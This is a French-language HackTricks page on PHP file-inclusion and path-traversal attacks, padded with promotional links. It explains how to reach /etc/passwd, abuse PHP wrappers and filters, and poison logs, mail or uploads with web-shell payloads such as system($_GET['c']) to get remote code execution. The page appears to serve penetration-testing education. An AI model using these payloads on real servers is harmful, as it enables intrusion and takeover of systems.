<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert Red Team AWS de HackTricks)</strong></a><strong>!</strong></summary>
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des pirates expérimentés et des chasseurs de primes en bugs !
**Inclusion de fichier à distance (RFI) :** Le fichier est chargé à partir d'un serveur distant (Idéal : Vous pouvez écrire le code et le serveur l'exécutera). En php, cela est **désactivé** par défaut (**allow\_url\_include**).\
**Inclusion de fichier local (LFI) :** Le serveur charge un fichier local.
Une liste qui utilise plusieurs techniques pour trouver le fichier /etc/password (pour vérifier si la vulnérabilité existe) peut être trouvée [ici](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
Une liste qui utilise plusieurs techniques pour trouver le fichier /boot.ini (pour vérifier si la vulnérabilité existe) peut être trouvée [ici](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
Tous les exemples sont pour l'inclusion de fichiers locaux mais pourraient également être appliqués à l'inclusion de fichiers à distance (page=[http://myserver.com/phpshellcode.txt\\](http://myserver.com/phpshellcode.txt\)/).
Le système de fichiers d'un serveur peut être exploré de manière récursive pour identifier les répertoires, pas seulement les fichiers, en utilisant certaines techniques. Ce processus implique de déterminer la profondeur du répertoire et de sonder l'existence de dossiers spécifiques. Voici une méthode détaillée pour y parvenir :
Déterminez la profondeur de votre répertoire actuel en récupérant avec succès le fichier `/etc/passwd` (applicable si le serveur est basé sur Linux). Un exemple d'URL pourrait être structuré comme suit, indiquant une profondeur de trois :
Ajoutez le nom du dossier suspecté (par exemple, `private`) à l'URL, puis naviguez de nouveau vers `/etc/passwd`. Le niveau de répertoire supplémentaire nécessite d'incrémenter la profondeur de un :
```bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
Les dossiers découverts peuvent être davantage explorés pour rechercher des sous-répertoires ou des fichiers en utilisant la même technique ou des méthodes traditionnelles d'Inclusion de Fichier Locale (LFI).
Pour explorer des répertoires à différents emplacements dans le système de fichiers, ajustez la charge utile en conséquence. Par exemple, pour vérifier si `/var/www/` contient un répertoire `private` (en supposant que le répertoire actuel est à une profondeur de 3), utilisez :
La troncature de chemin est une méthode utilisée pour manipuler les chemins de fichiers dans les applications web. Elle est souvent utilisée pour accéder à des fichiers restreints en contournant certaines mesures de sécurité qui ajoutent des caractères supplémentaires à la fin des chemins de fichiers. L'objectif est de créer un chemin de fichier qui, une fois modifié par la mesure de sécurité, pointe toujours vers le fichier souhaité.
En PHP, diverses représentations d'un chemin de fichier peuvent être considérées comme équivalentes en raison de la nature du système de fichiers. Par exemple :
-`/etc/passwd`, `/etc//passwd`, `/etc/./passwd` et `/etc/passwd/` sont tous traités comme le même chemin.
- Lorsque les 6 derniers caractères sont `passwd`, ajouter un `/` (le transformant en `passwd/`) ne modifie pas le fichier ciblé.
- De même, si `.php` est ajouté à un chemin de fichier (comme `shellcode.php`), ajouter `/.` à la fin n'altérera pas le fichier qui est accédé.
Les exemples fournis démontrent comment utiliser la troncature de chemin pour accéder à `/etc/passwd`, une cible courante en raison de son contenu sensible (informations de compte utilisateur) :
Dans ces scénarios, le nombre de traversées nécessaires peut être d'environ 2027, mais ce nombre peut varier en fonction de la configuration du serveur.
- **Utilisation de segments de points et de caractères supplémentaires**:
Les séquences de traversée (`../`) combinées avec des segments de points supplémentaires et des caractères peuvent être utilisées pour naviguer dans le système de fichiers, en ignorant efficacement les chaînes ajoutées par le serveur.
- **Détermination du nombre de traversées requis**:
Par essais et erreurs, on peut trouver le nombre précis de séquences `../` nécessaires pour naviguer vers le répertoire racine, puis vers `/etc/passwd`, en veillant à neutraliser les chaînes ajoutées (comme `.php`) tout en conservant le chemin souhaité (`/etc/passwd`).
- **Commencer par un répertoire fictif**:
Il est courant de commencer le chemin par un répertoire inexistant (comme `a/`). Cette technique est utilisée comme mesure de précaution ou pour répondre aux exigences de la logique d'analyse des chemins du serveur.
Lors de l'utilisation de techniques de troncature de chemin, il est crucial de comprendre le comportement d'analyse des chemins du serveur et la structure du système de fichiers. Chaque scénario peut nécessiter une approche différente, et des tests sont souvent nécessaires pour trouver la méthode la plus efficace.
En php, cela est désactivé par défaut car **`allow_url_include`** est **Off.** Il doit être **On** pour fonctionner, et dans ce cas, vous pourriez inclure un fichier PHP depuis votre serveur et obtenir une RCE:
Si, pour une raison quelconque, **`allow_url_include`** est **activé**, mais que PHP **filtre** l'accès aux pages web externes, [selon cet article](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), vous pourriez par exemple utiliser le protocole de données avec base64 pour décoder un code PHP b64 et obtenir une RCE:
Dans le code précédent, le `+.txt` final a été ajouté car l'attaquant avait besoin d'une chaîne se terminant par `.txt`, donc la chaîne se termine avec cela et après le décodage b64, cette partie ne renverra que des déchets et le vrai code PHP sera inclus (et donc, exécuté).
Il semble que si vous avez une Traversée de Chemin en Java et que vous **demandez un répertoire** au lieu d'un fichier, une **liste du répertoire est renvoyée**. Cela ne se produira pas dans d'autres langages (à ma connaissance).
Voici la liste des 25 principaux paramètres qui pourraient être vulnérables aux vulnérabilités d'inclusion de fichier local (LFI) (de [lien](https://twitter.com/trbughunters/status/1279768631845494787)):
Les filtres PHP permettent d'effectuer des opérations de **modification de base sur les données** avant leur lecture ou écriture. Il existe 5 catégories de filtres :
* [Filtres de chaîne](https://www.php.net/manual/en/filters.string.php) :
*`string.rot13`
*`string.toupper`
*`string.tolower`
*`string.strip_tags` : Supprime les balises des données (tout ce qui se trouve entre les caractères "<" et ">")
* Notez que ce filtre a disparu des versions modernes de PHP
* [Filtres de conversion](https://www.php.net/manual/en/filters.convert.php)
*`convert.base64-encode`
*`convert.base64-decode`
*`convert.quoted-printable-encode`
*`convert.quoted-printable-decode`
*`convert.iconv.*` : Transforme en une autre codification (`convert.iconv.<input_enc>.<output_enc>`). Pour obtenir la **liste de toutes les codifications** prises en charge, exécutez dans la console : `iconv -l`
En abusant du filtre de conversion `convert.iconv.*`, vous pouvez **générer du texte arbitraire**, ce qui pourrait être utile pour écrire du texte arbitraire ou pour rendre un processus d'inclusion de texte arbitraire. Pour plus d'informations, consultez [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
Ce wrapper permet d'accéder aux descripteurs de fichiers ouverts par le processus. Potentiellement utile pour exfiltrer le contenu des fichiers ouverts :
Vous pouvez également utiliser **php://stdin, php://stdout et php://stderr** pour accéder respectivement aux **descripteurs de fichiers 0, 1 et 2** (pas sûr de comment cela pourrait être utile dans une attaque)
La technique `data://` permet d'inclure des données directement dans une URL. Cela peut être utilisé pour exécuter du code malveillant en exploitant une vulnérabilité d'inclusion de fichier.
Un fichier `.phar` peut être utilisé pour exécuter du code PHP lorsqu'une application web utilise des fonctions telles que `include` pour le chargement de fichiers. L'extrait de code PHP ci-dessous démontre la création d'un fichier `.phar`:
À l'exécution, un fichier nommé `test.phar` sera créé, ce qui pourrait potentiellement être exploité pour les vulnérabilités d'Inclusion de Fichier Local (LFI).
Dans les cas où la LFI ne fait que lire des fichiers sans exécuter le code PHP à l'intérieur, à travers des fonctions telles que `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, ou `filesize()`, une tentative d'exploitation d'une vulnérabilité de désérialisation pourrait être envisagée. Cette vulnérabilité est associée à la lecture de fichiers en utilisant le protocole `phar`.
Pour une compréhension détaillée de l'exploitation des vulnérabilités de désérialisation dans le contexte des fichiers `.phar`, veuillez consulter le document lié ci-dessous :
[Guide d'exploitation de la désérialisation Phar](phar-deserialization.md)
* [php://memory et php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Écrire en mémoire ou dans un fichier temporaire (pas sûr de comment cela peut être utile dans une attaque d'inclusion de fichier)
* [file://](https://www.php.net/manual/en/wrappers.file.php) — Accéder au système de fichiers local
* [http://](https://www.php.net/manual/en/wrappers.http.php) — Accéder aux URL HTTP(s)
* [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Accéder aux URL FTP(s)
* [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Flux de compression
* [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Trouver des chemins correspondant à un motif (ne renvoie rien d'imprimable, donc pas vraiment utile ici)
Les risques d'Inclusion de Fichier Local (LFI) en PHP sont particulièrement élevés lorsqu'on utilise la fonction 'assert', qui peut exécuter du code à l'intérieur de chaînes. Cela pose particulièrement problème si une entrée contenant des caractères de traversée de répertoire comme ".." est vérifiée mais non correctement désinfectée.
Bien que cela vise à arrêter la traversée, cela crée involontairement un vecteur pour l'injection de code. Pour exploiter ceci et lire le contenu des fichiers, un attaquant pourrait utiliser :
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de primes en bugs !
Cette technique est pertinente dans les cas où vous **contrôlez** le **chemin du fichier** d'une **fonction PHP** qui va **accéder à un fichier** mais dont vous ne verrez pas le contenu (comme un simple appel à **`file()`**) mais le contenu n'est pas affiché.
Dans [**cet article incroyable**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html), il est expliqué comment une traversée de chemin en aveugle peut être exploitée via le filtre PHP pour **exfiltrer le contenu d'un fichier via un oracle d'erreur**.
En résumé, la technique utilise le codage **"UCS-4LE"** pour rendre le contenu d'un fichier si **volumineux** que la **fonction PHP ouvrant** le fichier déclenchera une **erreur**.
Ensuite, pour divulguer le premier caractère, le filtre **`dechunk`** est utilisé avec d'autres tels que **base64** ou **rot13** et enfin les filtres **convert.iconv.UCS-4.UCS-4LE** et **convert.iconv.UTF16.UTF-16BE** sont utilisés pour **placer d'autres caractères au début et les divulguer**.
Si le serveur Apache ou Nginx est **vulnérable à une LFI** à l'intérieur de la fonction d'inclusion, vous pourriez essayer d'accéder à **`/var/log/apache2/access.log` ou `/var/log/nginx/access.log`**, définir à l'intérieur de l'**agent utilisateur** ou à l'intérieur d'un **paramètre GET** une coquille PHP comme **`<?php system($_GET['c']); ?>`** et inclure ce fichier
Notez que **si vous utilisez des guillemets doubles** pour la coquille au lieu de **simples guillemets**, les guillemets doubles seront modifiés pour la chaîne "_**quote;**_", **PHP lancera une erreur** à cet endroit et **rien d'autre ne sera exécuté**.
Assurez-vous également d'**écrire correctement la charge utile** ou PHP générera une erreur à chaque fois qu'il essaiera de charger le fichier journal et vous n'aurez pas de deuxième opportunité.
Cela pourrait également être fait dans d'autres journaux mais **soyez prudent,** le code à l'intérieur des journaux pourrait être encodé en URL et cela pourrait détruire la Coquille. L'en-tête **authorisation "basic"** contient "utilisateur: mot de passe" en Base64 et est décodé à l'intérieur des journaux. La Coquille PHP pourrait être insérée à l'intérieur de cet en-tête.\
**Envoyer un e-mail** à un compte interne (user@localhost) contenant votre charge utile PHP comme `<?php echo system($_REQUEST["cmd"]); ?>` et essayer de l'inclure dans le courriel de l'utilisateur avec un chemin comme **`/var/mail/<USERNAME>`** ou **`/var/spool/mail/<USERNAME>`**
1. Téléchargez beaucoup de coquilles (par exemple : 100)
2. Inclure [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), avec $PID = PID du processus (peut être forcé en brut) et $FD le descripteur de fichier (peut également être forcé en brut)
Si vous pouvez télécharger un fichier, injectez simplement la charge utile de l'interpréteur de commandes dedans (par exemple : `<?php system($_GET['c']); ?>`).
Les journaux du serveur FTP vsftpd se trouvent dans **_/var/log/vsftpd.log_**. Dans le scénario où une vulnérabilité d'inclusion de fichier local (LFI) existe et que l'accès à un serveur vsftpd exposé est possible, les étapes suivantes peuvent être envisagées :
Comme le montre [cet](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article, le filtre base64 PHP ignore simplement les caractères non base64. Vous pouvez l'utiliser pour contourner la vérification de l'extension de fichier : si vous fournissez du base64 qui se termine par ".php", il ignorera simplement le "." et ajoutera "php" au base64. Voici un exemple de charge utile :
Ce [**writeup**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explique que vous pouvez utiliser **des filtres php pour générer un contenu arbitraire** en sortie. Ce qui signifie essentiellement que vous pouvez **générer du code php arbitraire** pour l'inclusion **sans avoir besoin de l'écrire** dans un fichier.
**Téléchargez** un fichier qui sera stocké de manière **temporaire** dans `/tmp`, puis dans la **même requête**, déclenchez une **erreur de segmentation**, et alors le **fichier temporaire ne sera pas supprimé** et vous pourrez le rechercher.
Si vous avez trouvé une **inclusion de fichier local** et que **Nginx** est en cours d'exécution devant PHP, vous pourriez être en mesure d'obtenir une RCE avec la technique suivante :
Si vous avez trouvé une **inclusion de fichier local** même si vous **n'avez pas de session** et que `session.auto_start` est `Off`. Si vous fournissez le **`PHP_SESSION_UPLOAD_PROGRESS`** dans les données **POST multipart**, PHP va **activer la session pour vous**. Vous pourriez en abuser pour obtenir une RCE :
Si vous avez trouvé une **inclusion de fichier local** et que vous **pouvez exfiltrer le chemin** du fichier temporaire MAIS que le **serveur** vérifie si le **fichier à inclure comporte des marques PHP**, vous pouvez essayer de **contourner cette vérification** avec cette **Condition de Course** :
Si vous pouvez abuser de l'inclusion de fichier local pour **téléverser des fichiers temporaires** et faire **suspension** de l'exécution PHP du serveur, vous pourriez ensuite **forcer les noms de fichiers pendant des heures** pour trouver le fichier temporaire :
Si vous incluez l'un des fichiers `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Vous devez inclure le même deux fois pour provoquer cette erreur).
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de primes en sécurité !